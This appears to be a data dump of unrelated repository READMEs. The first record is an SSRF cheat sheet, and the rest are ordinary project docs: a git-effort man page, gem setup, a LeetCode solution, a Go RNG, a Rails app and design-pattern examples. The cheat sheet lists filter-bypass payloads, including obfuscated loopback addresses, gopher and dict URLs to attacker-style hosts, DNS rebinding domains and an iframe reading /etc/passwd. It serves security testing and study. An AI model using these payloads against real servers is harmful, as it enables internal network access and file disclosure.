text:
Server-side request forgery (or SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.

In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems.

# Bypass filters

Applications often block input containing non-whitelist hostnames, sensitive URLs, or IP addresses like loopback, IPv4 link-local, [private addresses](https://tools.ietf.org/html/rfc1918), etc. In this situation, it is sometimes possible to bypass the filter using various techniques.

## Redirection

You can try using a redirection to the desired URL to bypass the filter. To do this, return a response with the `3xx` code and the desired URL in the `Location` header to the request from the vulnerable server, for example:

```http
HTTP/1.1 301 Moved Permanently
Server: nginx
Connection: close
Content-Length: 0
Location: http://<IP_ADDRESS>
```

You can achieve redirection in the following ways:
- bash, like `nc -lvp 80 < response.txt`
- URL shortener services
- Mock and webhook services, see [here](/Resources/Researching/web-application.md#mocks-&-webhooks)
- More flexible solutions such as a simple HTTP server on python

Also, if the application contains an open redirection vulnerability you can use it to bypass the URL filter, for example:

```http
POST /api/v1/webhook HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

url=https://vulnerable-website.com/api/v1/project/next?currentProjectId=1929851&path=http://<IP_ADDRESS>
```

These bypass approaches work because the application only validates the provided URL, which triggers the redirect. It follows the redirect and makes a request to the internal URL of the attacker's choice.

## URL scheme

You can try using different URL schemes to bypass the filter:
```http
file://path/to/file
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
dict://<IP_ADDRESS>:1337/stats
ftp://<IP_ADDRESS>/
sftp://attacker-website.com:1337/
tftp://attacker-website.com:1337/TESTUDPPACKET
ldap://<IP_ADDRESS>:389/%0astats%0aquit
ldaps://<IP_ADDRESS>:389/%0astats%0aquit
ldapi://<IP_ADDRESS>:389/%0astats%0aquit
gopher://attacker-website.com/_SSRF%0ATest!
```

## IP address formats

You can try using a different IP address format to bypass the filter.

### Rare IP address

Rare IP address formats, defined in [RFC 3986](https://tools.ietf.org/html/rfc3986#section-7.4):
- Dotted hexadecimal IP: `0x7f.0x0.0x0.0x1`
- Dotless hexadecimal IP: `0x7f001`
- Dotless hexadecimal IP with padding: `0x0a0b0c0d7f000001` (padding is `0a0b0c0d`)
- Dotless decimal IP: `2130706433`
- Dotted decimal IP with overflow (256): `383.256.256.257`
- Dotted octal IP: `0<IP_ADDRESS>`
- Dotless octal IP: `017700000001`
- Dotted octal IP with padding: `00177.000.0000.000001`
- Combined:

    ```http
    0x7f.0.1
    0x7f.1
    00177.1
    00177.0x0.1
    ```

You can short-hand IP addresses by dropping the zeros:

```http
1 part  (ping A)       : 0.0.0.A
2 parts (ping A.B)     : A.0.0.B
3 parts (ping A.B.C)   : A.B.0.C
4 parts (ping A.B.C.D) : A.B.C.D

0       => <IP_ADDRESS>
127.1   => <IP_ADDRESS>
127.0.1 => <IP_ADDRESS>
```

### IPv6 address

- IPv6 localhost:

    ```http
    [::]
    0000::1
    [::1]
    0:0:0:0:0:0:0:0
    ```

- IPv4-mapped IPv6 address: `[::ffff:7f00:1]`
- IPv4-mapped IPv6 address: `[::ffff:<IP_ADDRESS>]`
- IPv4-compatible IPv6 address (deprecated, q.v. [RFC4291](https://tools.ietf.org/html/rfc4291#section-<IP_ADDRESS>): `[::<IP_ADDRESS>]`
- IPv4-mapped IPv6 address with [zone identifier](https://tools.ietf.org/html/rfc6874): `[::ffff:7f00:1%25]`
- IPv4-mapped IPv6 address with [zone identifier](https://tools.ietf.org/html/rfc6874): `[::ffff:<IP_ADDRESS>%eth0]`

### Abuse of enclosed alphanumerics

Enclosed alphanumerics is a Unicode block of typographical symbols of an alphanumeric within a circle, a bracket or other not-closed enclosure, or ending in a full stop, q.v. [list](https://jrgraphix.net/r/Unicode/2460-24FF).

```http
127。0。0。1
127｡0｡0｡1
127．0．0．1
⑫７｡⓪．𝟢。𝟷
𝟘𝖃𝟕𝒇｡𝟘𝔵𝟢｡𝟢𝙭⓪｡𝟘𝙓¹
⁰𝔁𝟳𝙛𝟢０１
２𝟏𝟑𝟢𝟕𝟢６𝟺𝟛𝟑
𝟥𝟪³。𝟚⁵𝟞。²₅𝟞。²𝟧𝟟
𝟢₁𝟳₇｡０｡０｡𝟢𝟷
𝟎𝟢𝟙⑦⁷。０００。𝟶𝟬𝟢𝟘。𝟎₀𝟎𝟢０𝟣
[::𝟏②₇．𝟘．₀．𝟷]
[::𝟭２𝟟｡⓪｡₀｡𝟣%𝟸𝟭⑤]
[::𝚏𝕱ᶠ𝕗:𝟏₂７｡₀｡𝟢｡①]
[::𝒇ℱ𝔣𝐹:𝟣𝟤７。₀。０。₁%②¹𝟧]
𝟎𝚇𝟕𝖋｡⓪｡𝟣
𝟎ˣ𝟩𝘍｡𝟷
𝟘𝟘①𝟕⑦．１
⓪𝟘𝟙𝟳𝟽｡𝟎𝓧₀｡𝟏
```

## Abusing a bug in Ruby's native resolver

`Resolv::getaddresses` is OS-dependent, therefore by playing around with different IP formats one can return blank values.

Proof of concept:

```ruby
irb(main):001:0> require 'resolv'
=> true
irb(main):002:0> uri = "0x7f.1"
=> "0x7f.1"
irb(main):003:0> server_ips = Resolv.getaddresses(uri)
=> [] # The bug!
irb(main):004:0> blocked_ips = ["<IP_ADDRESS>", "::1", "<IP_ADDRESS>"]
=> ["<IP_ADDRESS>", "::1", "<IP_ADDRESS>"]
irb(main):005:0> (blocked_ips & server_ips).any?
=> false # Bypass
```

References:
- [Bypassing Server-Side Request Forgery filters by abusing a bug in Ruby's native resolver](https://edoverflow.com/2017/ruby-resolv-bug/)
- [Report: Blind SSRF in "Integrations" by abusing a bug in Ruby's native resolver](https://hackerone.com/reports/287245)
- [Report: SSRF vulnerability in gitlab.com via project import](https://hackerone.com/reports/215105)

## Broken parser

The [URL specification](https://tools.ietf.org/html/rfc3986) contains a number of features that are liable to be overlooked when implementing ad hoc parsing and validation of URLs:
- Embedded credentials in a URL before the hostname, using the `@` character: `https://expected-host@evil-host`
- Indication a URL fragment using the `#` character: `https://evil-host#expected-host`
- DNS naming hierarchy: `https://expected-host.evil-host`
- URL-encode characters. This can help confuse URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request.
- Combinations of these techniques together:

    ```http
    foo@evil-host:80@expected-host
    foo@evil-host%20@expected-host
    evil-host%09expected-host
    <IP_ADDRESS>:80\@<IP_ADDRESS>:80
    <IP_ADDRESS>:80:\@@<IP_ADDRESS>:80
    <IP_ADDRESS>:80#\@<IP_ADDRESS>:80
    ß.evil-host
    ```

References:
- [A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!](https://github.com/0xn3va/cheat-sheets/blob/master/Web%20Application/Server%20Side%20Request%20Forgery/materials/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)
- [Tool: Tiny URL Fuzzer](https://github.com/orangetw/Tiny-URL-Fuzzer)

## DNS pinning

If you want to get a A-record that resolves to an IP, use the following subdomain:

```http
make-<IP>-rr.1u.ms
```

For example, domain resolves `make-127-0-0-1-rr.1u.ms` to `<IP_ADDRESS>`:

```bash
$ dig A make-127-0-0-1-rr.1u.ms
make-127-0-0-1-rr.1u.ms. 0	IN	A	<IP_ADDRESS>
```

Multiple records can be separated by `-and-`:

```http
make-<IP>-and-<IP>-rr.1u.ms
```

For example, domain resolves `make-127-0-0-1-and-127-127-127-127-rr.1u.ms` to `<IP_ADDRESS>` and `<IP_ADDRESS>`:

```bash
$ dig A make-127-0-0-1-and-127-127-127-127-rr.1u.ms
make-127-0-0-1-and-127-127-127-127-rr.1u.ms. 0 IN A <IP_ADDRESS>
make-127-0-0-1-and-127-127-127-127-rr.1u.ms. 0 IN A <IP_ADDRESS>
```

See more [1u.ms](http://1u.ms)

## DNS rebinding

If the mechanisms in vulnerable application for checking and establishing a connection are independent and there is no caching of the DNS resolution response, you can bypass this by manipulating the DNS resolution response.

For example, if two requests go one after the other within 5 seconds, DNS resolution `make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms` will return the address `<IP_ADDRESS>` by the first request, and the second - `<IP_ADDRESS>`.

```bash
$ dig A make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms
make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms. 0 IN A <IP_ADDRESS>

$ dig A make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms
make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms. 0 IN A <IP_ADDRESS>
```

See more [1u.ms](http://1u.ms)

# Adobe ColdFusion

{% embed url="https://hoyahaxa.blogspot.com/2021/04/ssrf-in-coldfusioncfml-tags-and.html" %}

# FFmpeg

- [Viral Video Exploiting Ssrf In Video Converters](https://github.com/0xn3va/cheat-sheets/blob/master/Web%20Application/Server%20Side%20Request%20Forgery/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf)
- [Attacks on video converters: a year later](https://github.com/0xn3va/cheat-sheets/blob/master/Web%20Application/Server%20Side%20Request%20Forgery/materials/phdays-ffmpeg.pdf)
- [Report: SSRF and local file disclosure in https://wordpress.com/media/videos/ via FFmpeg HLS processing](https://hackerone.com/reports/237381)
- [Report: SSRF / Local file enumeration / DoS due to improper handling of certain file formats by ffmpeg](https://hackerone.com/reports/115978)
- [Tool: ffmpeg-avi-m3u-xbin](https://github.com/neex/ffmpeg-avi-m3u-xbin)

# SVG

{% embed url="https://github.com/allanlw/svg-cheatsheet" %}

# Server-side processing of arbitrary HTML and JS

Server-side processing of arbitrary HTML and JS data from the user can often be found when generating various documents, for example, in PDF format. If this functionality is vulnerable to HTML injection and/or XSS, you can try using this to access internal resources:

```html
<iframe src="file:///etc/passwd" width="400" height="400">
<img src onerror="document.write('<iframe src=//<IP_ADDRESS>></iframe>')">
```

References:
- [Write up: Local File Read via XSS in Dynamically Generated PDF](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
- [Report: Blind SSRF/XSPA on dashboard.lob.com + blind code injection](https://hackerone.com/reports/517461)

# Request splitting

{% embed url="https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/" %}

# HTTP headers

Many applications use in their flows IP addresses/domains, which they received directly from users in different HTTP headers, such as the `X-Forwarded-For` or `Client-IP` headers. Such application functionality can lead to a blind SSRF vulnerability if the header values are not properly validated.

This is where the [param-miner](https://github.com/PortSwigger/param-miner) can be useful for searching the HTTP headers.

## Referer header

Also notice the `Referer` header, which is used by server-side analytics software to track visitors. Such software often logs the `Referer` header from requests, since this allows to track incoming links.

The analytics software will actually visit any third-party URL that appears in the `Referer` header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the `Referer` header often represents fruitful attack surface for SSRF vulnerabilities.

# References

- [Web Security Academy: Server-side request forgery (SSRF)](https://portswigger.net/web-security/ssrf)
- [Blind SSRF exploitation](https://lab.wallarm.com/blind-ssrf-exploitation/)
- [PayloadsAllTheThings: Server Side Request Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
- [Report: SSRF in CI after first run](https://hackerone.com/reports/369451)
- [Report: GitLab::UrlBlocker validation bypass leading to full Server Side Request Forgery](https://hackerone.com/reports/541169)
- [Report: Gitlab DNS rebinding protection bypass](https://hackerone.com/reports/632101)
- [Write up: How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE!](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)

url: https://raw.githubusercontent.com/dokkillo/cheat-sheets/bbb9039e4d36c47ef53c72e9e8ce462c5b1cd76e/Web Application/Server Side Request Forgery/README.md

repository: dokkillo/cheat-sheets

repo_name: dokkillo/cheat-sheets


text:
# Ansible-configured HTTP server (Apache)

This example uses Ansible to set up and configure an HTTP server (Apache) that runs on port 80.

There are two files in the *ansible* directory of the image:
* A basic Ansible playbook named *webserver.yml*
* A script named *ansible-run.sh*, which launches the Ansible client

## Requirements

* Jisto Nodes must have access to the internet
* Jisto Nodes must be running CentOS 7 or Ubuntu 16.04

license: MIT

repository: JistoInc/examples

branch_name: refs/heads/master

extension: md

license_type: permissive

repo_name: JistoInc/examples


text:
git-effort(1) -- Show effort statistics on file(s)
=================================

## SYNOPSIS

`git-effort` [--above <value>] [<filename>]

## DESCRIPTION

  Shows effort statistics about files in the repository.

  Display includes:
  - Commits: number of commits per file - highlighting files with most activity.
  - Active days: total number of days which contributed modifications to this file.

## OPTIONS

  --above <value>

  Ignore files with commits <= a value.

  <filename>

  Only display effort statistics for a specific filename.

## EXAMPLES

 Displays "effort" statistics:

    $ git effort --above 5

      file                                          commits    active days

      git-extras                                    26         18
      git-release                                   13         13
      git-effort                                    13         2
      git-ignore                                    11         7
      git-changelog                                 11         8
      git-graft                                     9          6
      git-summary                                   8          6
      git-delete-branch                             8          6
      git-repl                                      7          5

## AUTHOR

Written by Leila Muhtasib<EMAIL_ADDRESS>
## REPORTING BUGS

<<https://github.com/visionmedia/git-extras/issues>>

## SEE ALSO

<<https://github.com/visionmedia/git-extras>>

repository: rstacruz/git-extras

repo_name: rstacruz/git-extras


text:
### NewRelic Hanami

---

[![Travis](https://img.shields.io/travis/artemeff/newrelic-hanami.svg)]() [![Code Climate](https://codeclimate.com/github/artemeff/newrelic-hanami/badges/gpa.svg)](https://codeclimate.com/github/artemeff/newrelic-hanami)

---

This gem ingrates in hanami-controller and can be used in full-featured hanami framework and with controller only.

```ruby
gem 'newrelic-hanami'
```

Add it to your `config.ru`:

```ruby
require 'newrelic_rpm'
require 'newrelic-hanami'

NewRelic::Agent.manual_start
```

It should look like:

```ruby
require './config/environment'
require 'newrelic_rpm'
require 'newrelic-hanami'

NewRelic::Agent.manual_start

run Hanami::Container.new

```

Then add `newrelic.yml` to `config` folder.

---

### Contributing

1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Commit your changes (`git commit -am 'add some feature'`)
4. Push to the branch (`git push origin my-new-feature`)
5. Create new Pull Request

repository: artemeff/newrelic-hanami

gha_language: Ruby

gha_license_id: MIT

repo_name: artemeff/newrelic-hanami


text:
# Projects

## [Masters - Classification of combined microRNA](https://github.com/vegabj/Mastersproject)
Methods for combining miRNA datasets for classification such that internal biases is minimized.

## [Bachelor's project - VegAR](https://github.com/IT2901-Gruppe-16-Kantega)
An augmented reality prototype and a multiplatform mobile application for viewing objects from the Norwegian Public Roads Administration's (NO: Statens Vegvesen) National Road Database (NVDB).

# Friday demonstrations

## [Demo github-actions and azure pipelines](https://github.com/vegabj/github-actions-test)
Showing off some simple use of github actions.

## [Demo nbdev](https://github.com/vegabj/nbdev_test)
Testing out nbdev.

## [Demo streamlit](https://github.com/vegabj/streamlit-demo)
Demonstration of streamlit.

# Courses

## Uncertainty in machine learning
Dropout, Bayesian neural networks, tensorflow probability, aleatoric & epistemic uncertainty

## [Machine learning for developers](https://github.com/fundator/minikurs)
3 hour intro do machine learning in practice for developers


text:
# bootiful-examples
Spring boot introductory examples

## bootiful-service-simple
Spring boot based simple REST API service

## bootiful-service-hateoas
Spring boot based simple REST HATEOAS API service

## bootiful-service-basicauth
Spring boot REST API service with basic auth

## bootiful-service-oauth2
Spring boot REST API service with OAuth2

## bootiful-messaging
Spring boot based AMQP messaging

## bootiful-actuator
Spring boot actuator demo

## customer-service
Spring boot demo with all the bootiful goodness

## customer-notification-service
Spring boot demo of notification with SMTP and AMQP

repository: theleapofcode/bootiful-examples

repo_name: theleapofcode/bootiful-examples


text:
# 2302. Count Subarrays With Score Less Than K
**Difficulty:** Medium

## URL

https://leetcode.com/contest/biweekly-contest-80/problems/count-subarrays-with-score-less-than-k/

## Solution

### Approach 1:

```python
class Solution:
    def countSubarrays(self, nums: List[int], k: int) -> int:
        running_sum = 0
        left = 0
        res = 0
        for right, val in enumerate(nums):
            running_sum += nums[right]
            while running_sum * (right - left + 1) >= k:
                # narrow down the window
                running_sum -= nums[left]
                left += 1
            res += right - left + 1
        return res
```

repository: Aden-Q/LeetCode

repo_name: Aden-Q/LeetCode


text:
# Unpredictable number generator #

This is a Go implementation of the same algorithm as implemented by
OpenBSD `arc4random()`.

## Naming ##

The package is called "unpredictable" to point out the fact that we
provide unpredictable numbers, not "random". My reasoning is that the
word "random" has been so badly misused within computer science that
it today means "perfectly predictable" with the added assumption that
each run of a program will produce the exact same sequence. Therefore
I chose the name "unpredictable" to point out that we are not
"random". The word "unpredictable" is hopefully less ambiguous and any
suggestion to make the returned numbers predictable can be deflected
by saying that the API is supposed to return unpredictable numbers,
it's right there in the name.

## API ##

Currently there are three APIs provided:

 * A math/rand.Source which we can get by calling
   `unpredictable.NewMathRandSource()`. It provides the interface that
   math/rand expects, but the Seed() function causes a panic, since we
   want to provide unpredictable numbers, not random.

 * An `io.Reader` which we can get by calling `unpredictable.NewReader()`

 * `unpredictable.Read()` which is like a normal `io.Reader`. This is
   goroutine safe.

## Correctness ##

The implementation has been tested against OpenBSD arc4random. When
both generators are fed the exact same entropy they generate the same
byte sequence for at least 1680000 bytes (number chosen since the only
interesting special case in the OpenBSD arc4random happens at 1600000
bytes). Any bugs in here are likely to show up there too.

## Performance ##

When plugged into math/rand each call to Int63 takes 27ns/op on my
machine. This compared to the default math.random source which take
8ns/op and compared to buffered `C.arc4random` calls at 35ns/op. See
[my test repository for more details](https://github.com/art4711/randbench).

When used as an `io.Reader` this looks even better. `math/rand` can
pump 430MB/s on my MacBook, unpredictable does 460MB/s.

## Entropy source ##

Our entropy comes from "crypto/rand" which is hopefully of high enough
quality (just slow).

## Additional safety ##

As opposed to the OpenBSD implementation we don't have fork detection
(not sure how to approach that in Go) and locking is up to the
user.

license: ISC


text:
# Gameplan

Gameplan is a simple solution for consultancies and large, dynamic organizations to keep track
of who is currently on what project and what rotations are planned.

## Installation

Gameplan is BSD-licensed source code written in Ruby on Rails.  Feel free to fork and rebuild it to suit your needs.
It will run on any standard Rails server.

The code has been tested against the version of Ruby referenced in the .ruby-version file, but should run on anything above Ruby 2.0

To get started with the project, clone this repository, `cd` into your local checkout and enter the following:

```
bundle install
rake db:create:all
rake db:migrate
rake db:seed
```

You can then start the server with `rails s`

### Demo Data
If you'd like to generate some demo data to see how gameplan works, use `rake populate:plan`.

### Admin Privileges

To view the admin interface where you can enter your projects and personnel, and make updates to the plan, you can set the following environment variable:

```
export ADMIN_BY_DEFAULT=true
```

In production, you'll need to set the admin column on your user to 'true';
You can do this via the rails console, like so:

```
± |master ✗| → rails c
Loading development environment (Rails 4.2.0)
irb(main):001:0> u = User.find 1
irb(main):002:0> u.update_attributes admin: true
irb(main):003:0> exit
```

## Auth via Google

Gameplan supports authentication via the Google API.  You'll want to set the following environment variables in your terminal.

```
export GOOGLE_OAUTH2_CLIENT_ID=[your client id here]
export GOOGLE_OAUTH2_CLIENT_SECRET=[your client secret here]
```

Here's a [handy walkthrough](https://www.twilio.com/blog/2014/09/gmail-api-oauth-rails.html) on how to get these values from the Google API console

## Google Apps Domain-Specific Access

You may also want to limit your version of Gameplan to only allow visitors from a particular Google-hosted domain.  If so, add this to your environment variables:

```
export GOOGLE_OAUTH2_REQUIRED_DOMAIN=yourdomain.com
```

## Tests

This app has both rspec and konacha tests.  To run the tests, use:

```
rake spec
rake konacha:run
```

## Docker workflows

Building the base bundle. Do it when:

- Getting started
- You deleted and reinstalled your local docker server
- Updating ruby or node
- Updating linux dependencies (apt packages)
- Wanting to cache gem downloading

`docker build -t gameplan-bundle -f Dockerfile.bundle .`

Running tests in a container
`./docker_tests.sh`

Trying out a production-like container
```
docker build -t gameplan -f Dockerfile.production
docker run -p 7777:8888 -e PORT=8888 -e DATABASE_URL="postgres://..." gameplan
```

Pushing gameplan image to a remote registry
```
docker build -t REGISTRY_ADDRESS:5000/gameplan -f Dockerfile.production
docker push REGISTRY_ADDRESS:5000/gameplan
```

repository: Pasta/gameplan

repo_name: Pasta/gameplan


text:
# DependencyLookup
Small tool to find the dependency of a PlayServices or Support library. Please visit the [Dependency Lookup][1] homepage to try this service.

## Technical deails

The master branch contains just the small java programm which generated the CSV files for the web tool. The website itself is hosted in the [gh-pages branch][2].
The plan™ is to keep the data up to date with a travis-ci cronjob. So there should be no manual actions required to have an up-to-date webtool.

## Sick of typing? Use voice assistants!

Just say *"Ask dependency lookup where is the class Ad View"*.

You can also use this at your Android 6.0+ phones, iOS 9.0+ phones and Google Home. See also [my action homepage][3]. A german translation will follow.
You have an Alexa? It also runs there. Check my [German][4], [British English][5] or [American English][6] skill.

  [1]: https://rekire.github.io/DependencyLookup/
  [2]: https://github.com/rekire/DependencyLookup/tree/gh-pages
  [3]: https://assistant.google.com/services/a/id/61bad4b884603b22/?hl=en-US
  [4]: https://www.amazon.de/Rekisoft-Dependency-Lookup/dp/B06XPM2LDC
  [5]: https://www.amazon.com/Rekisoft-Dependency-Lookup/dp/B06XPM2LDC
  [6]: https://www.amazon.co.uk/Rekisoft-Dependency-Lookup/dp/B06XPM2LDC

repository: rekire/DependencyLookup

repo_name: rekire/DependencyLookup


text:
---
title: "Runs Graph"
sub_link: "runs-dashboard/graph"
meta_title: "Polyaxon management tools and UI - Runs dashboard - Runs Graph"
meta_description: "Polyaxon runs dashboard for Machine learning experiment tracking and visualizations."
tags:
  - concepts
  - polyaxon
  - management
sidebar: "management"
---

This is part of our commercial offering.

## Overview

The graph view is a powerful tool for listing, filtering, and comparing runs of all kinds under the same pipeline following their dependencies.

## Feature

The graph view provides similar features as the timeline view, but instead of showing a table it shows a dependency graph, you can zoom in, zoom out, fit the graph, and open operations in flyout :

![graph-flyout](../../../../content/images/dashboard/graph/graph-flyout.png)

The graph view comes with two direction:

 * `right` direction for deep graphs

![graph-deep](../../../../content/images/dashboard/graph/graph-deep.png)

 * `down` direction for wide graphs

![graph-wide](../../../../content/images/dashboard/graph/graph-wide.png)

When hovering an operation, the upstream edges are colored based on the status of the upstream operations

![graph-hover1](../../../../content/images/dashboard/graph/graph-hover1.png)

If an operation fails you can see all operations that contributed to the `upstream-failed` status:

![graph-hover1](../../../../content/images/dashboard/graph/graph-hover2.png)

repository: polyaxon/polyaxon

gha_language: Python

repo_name: polyaxon/polyaxon


text:
description: Computes alpha discounted cumulative gain (alpha-DCG).

<meta itemprop="name" content="tfr.metrics.alpha_discounted_cumulative_gain" />
<meta itemprop="path" content="Stable" />

# tfr.metrics.alpha_discounted_cumulative_gain

    View source on GitHub

Computes alpha discounted cumulative gain (alpha-DCG).

tfr.metrics.alpha_discounted_cumulative_gain(
    labels, predictions, weights=None, topn=None, name=None,
    rank_discount_fn=_DEFAULT_RANK_DISCOUNT_FN, alpha=0.5, seed=None
)

<colgroup><col width="214px"><col></colgroup>

Args

`labels`

A `Tensor` with shape [batch_size, list_size, subtopic_size]. Each
value represents graded relevance to a subtopic: 1 for relevent subtopic,
0 for irrelevant, and -1 for paddings. When the actual subtopic number
of a query is smaller than the `subtopic_size`, `labels` will be padded
to `subtopic_size` with -1, similar to the paddings used for queries
with doc number less then list_size.

`predictions`

A `Tensor` with shape [batch_size, list_size]. Each value is
the ranking score of the corresponding example.

`weights`

A `Tensor` of shape [batch_size, list_size] or [batch_size, 1].
They are per-example and per-list, respectively.

`topn`

A cutoff for how many examples to consider for this metric.

`name`

A string used as the name for this metric.

`rank_discount_fn`

A function of rank discounts. Default is set to
discount = 1 / log2(rank+1).

`alpha`

A float between 0 and 1. Originally introduced as an assessor error
in judging whether a document is covering a subtopic of the query. It
can also be interpreted as the inverse number of documents covering the
same subtopic reader needs to get and confirm the subtopic information
of a query.

`seed`

The ops-level random seed used in shuffle ties in `sort_by_scores`.

<colgroup><col width="214px"><col></colgroup>

Returns

A metric for the weighted alpha discounted cumulative gain of the batch.

repository: filipkrw/ranking

repo_name: filipkrw/ranking


text:
# 👽 Mediator

Real world example

> A general example would be when you talk to someone on your mobile phone, there is a network provider sitting between you and them and your conversation goes through it instead of being directly sent. In this case network provider is mediator.

In plain words

> Mediator pattern adds a third party object (called mediator) to control the interaction between two objects (called colleagues). It helps reduce the coupling between the classes communicating with each other. Because now they don't need to have the knowledge of each other's implementation.

Wikipedia says

> In software engineering, the mediator pattern defines an object that encapsulates how a set of objects interact. This pattern is considered to be a behavioral pattern due to the way it can alter the program's running behavior.

**Programmatic Example**

Here is the simplest example of a chat room (i.e. mediator) with users (i.e. colleagues) sending messages to each other.

First of all, we have the mediator i.e. the chat room

```php
interface ChatRoomMediator
{
    public function showMessage(User $user, string $message);
}

// Mediator
class ChatRoom implements ChatRoomMediator
{
    public function showMessage(User $user, string $message)
    {
        $time = date('M d, y H:i');
        $sender = $user->getName();

        echo $time . '[' . $sender . ']:' . $message;
    }
}
```

Then we have our users i.e. colleagues

```php
class User {
    protected $name;
    protected $chatMediator;

    public function __construct(string $name, ChatRoomMediator $chatMediator) {
        $this->name = $name;
        $this->chatMediator = $chatMediator;
    }

    public function getName() {
        return $this->name;
    }

    public function send($message) {
        $this->chatMediator->showMessage($this, $message);
    }
}
```

And the usage

```php
$mediator = new ChatRoom();

$john = new User('John Doe', $mediator);
$jane = new User('Jane Doe', $mediator);

$john->send('Hi there!');
$jane->send('Hey!');

// Output will be
// Feb 14, 10:58 [John]: Hi there!
// Feb 14, 10:58 [Jane]: Hey!
```

![](assets/mediator1.png)

![](assets/mediator2.png)

```python
"""
Mediator Design Pattern

Intent: Lets you reduce chaotic dependencies between objects. The pattern
restricts direct communications between the objects and forces them to
collaborate only via a mediator object.
"""

from __future__ import annotations
from abc import ABC

class Mediator(ABC):
    """
    The Mediator interface declares a method used by components to notify the
    mediator about various events. The Mediator may react to these events and
    pass the execution to other components.
    """

    def notify(self, sender: object, event: str) -> None:
        pass

class ConcreteMediator(Mediator):
    def __init__(self, component1: Component1, component2: Component2) -> None:
        self._component1 = component1
        self._component1.mediator = self
        self._component2 = component2
        self._component2.mediator = self

    def notify(self, sender: object, event: str) -> None:
        if event == "A":
            print("Mediator reacts on A and triggers following operations:")
            self._component2.do_c()
        elif event == "D":
            print("Mediator reacts on D and triggers following operations:")
            self._component1.do_b()
            self._component2.do_c()

class BaseComponent:
    """
    The Base Component provides the basic functionality of storing a mediator's
    instance inside component objects.
    """

    def __init__(self, mediator: Mediator = None) -> None:
        self._mediator = mediator

    @property
    def mediator(self) -> Mediator:
        return self._mediator

    @mediator.setter
    def mediator(self, mediator: Mediator) -> None:
        self._mediator = mediator

"""
Concrete Components implement various functionality. They don't depend on other
components. They also don't depend on any concrete mediator classes.
"""

class Component1(BaseComponent):
    def do_a(self) -> None:
        print("Component 1 does A.")
        self.mediator.notify(self, "A")

    def do_b(self) -> None:
        print("Component 1 does B.")
        self.mediator.notify(self, "B")

class Component2(BaseComponent):
    def do_c(self) -> None:
        print("Component 2 does C.")
        self.mediator.notify(self, "C")

    def do_d(self) -> None:
        print("Component 2 does D.")
        self.mediator.notify(self, "D")

if __name__ == "__main__":
    # The client code.
    c1 = Component1()
    c2 = Component2()
    mediator = ConcreteMediator(c1, c2)

    print("Client triggers operation A.")
    c1.do_a()

    print("\n", end="")

    print("Client triggers operation D.")
    c2.do_d()
```


text:
# Midday Commander Plus
*A file manager utility for OpenComputers. Forked from [original MC](https://github.com/OpenPrograms/OpenPrograms.ru/tree/master/mc)*.

Made for those who are not experienced with command-line interfaces.

## Developers
* Zer0Galaxy (aka Dimus) — the ComputerCraft version of the original program.
* NEO (a.k.a. Avaja) — the file search algorithm.
* Totoro (also known as MoonlightOwl) — the OpenComputers port.
* Bs()Dd (also spelled Bs0Dd) - the Plus version.

## Installation
Insert Internet card and type: `pastebin run pc73b8bB`

The program comes with:
   1. Language mcl files for Russian and English (by default, English is set)
   2. Three mct themes - "Standard", "Redstone" and "Darkness" (alas, I am not a designer, so the absence of eyelash in themes is not guaranteed)

## Description
The programs supports any screens with any color depth or resolution.

The GUI was inspired by a well-known Linux program, Midnight Commander, and, of course, Norton Commander.

The program GUI has two panels, to the left and to the right.
Each one lists files and directories stored on the computer's HDDs or floppies.
The directories have `/` at the end of their names, and are displayed on the top
of the lists.

Below it is a command prompt, and a list of the actions invoked by pressing
a corresponding functional (`Fn`) key.

Use arrow keys or mouse to navigate through the files, and pressing the `Tab` key or clicking on another panel moves
the focus to another panel. The `Enter` key (or double click) is used to run a program or go to
a directory. To run a program and pass it arguments, hold `Ctrl` and press
`Enter` (or double click on the element). The name of program will be pasted to the command prompt.
Type the arguments, and press `Enter`.

Also, you can press `Alt` + `Enter` to hide MCP.

The main differences from the original version:
  1. Supports 160x50 video mode
  2. Shadows by the windows (like Norton)
  3. Mouse support
  4. Multilingual (language data is placed in a separate .mcl file)
  5. Themes support (data on colors of elements are placed in a separate .mct file)
  6. Association system

Program parameters are located in the config file - `/etc/mc.cfg`

## Associaton system

In modern operating systems like Linux, MacOS and Windows, when opening, say, a .jpg image, the system will not launch it, but will launch the viewer associated with this format, passing it this file. A similar system is implemented here.
In the config there is a field "Associations", where you can specify for which file which program will be launched.

Entries are of the form ['extension'] = 'program and arguments'.

For example, the entry ['.txt'] = 'edit' means that when you double-click on a file with the .txt extension, the edit editor will be called with the path argument to the file.

Associations do not work if the file is launched from the manager command line.

## Actions

`F1` — show help.

`F3` — open an editor with the selected file.

`Shift` + `F3` — create a new file.

`F4`/`F5` — copy/move a selected file to the another panel's current directory. You can
copy under another name if you want so.

`F7` — create a new directory.

`Alt` + `F7` — search for a file or directory.
You can use `?` and `*` masks.

* `?` means "any character".
* `*` means "0 or more characters"

For example, to search for all files that start with `co`, you can use the `co*`
pattern.

`F8` — remove a file or directory. You'll be asked for confirmation before
removing.

`F10` — exit.

## Links
* [The topic on the forum](https://computercraft.ru/topic/3952-midday-commander-plus-vozrozhdenie-iz-pepla/)
